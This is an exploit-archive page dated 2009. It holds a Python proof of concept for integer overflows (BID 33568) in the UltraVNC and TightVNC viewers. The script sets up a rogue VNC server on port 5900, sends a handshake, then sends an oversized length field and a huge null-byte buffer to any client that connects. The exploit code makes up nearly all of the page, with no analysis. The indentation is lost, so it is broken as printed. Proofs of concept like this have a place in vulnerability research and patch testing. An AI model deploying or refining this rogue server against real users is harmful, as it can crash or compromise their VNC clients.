UltraVNC-TightVNC Multiple VNC Clients Multiple Integer Overflow PoC

2009-02-04 08:09:12

#!/usr/bin/env python
# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568
#Author: Andres Lopez Luksenberg <[email protected]> (Visit: http://208.66.16.113/~andres/)
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
print "Author: Andres Lopez Luksenberg <[email protected]> (Visit: http://208.66.16.113/~andres/)"

clientsocket, clientaddres = serversocket.accept()

data = 'RFB 003.003\n'
clientsocket.sendall(data)

data_cli = clientsocket.recv(1024)
print data_cli

data = '\x00'
clientsocket.sendall(data)

data = '\x00\x00\x00\x75'
clientsocket.sendall(data)
data = '\x00' * int(0xffffff)

clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

#

Fixes

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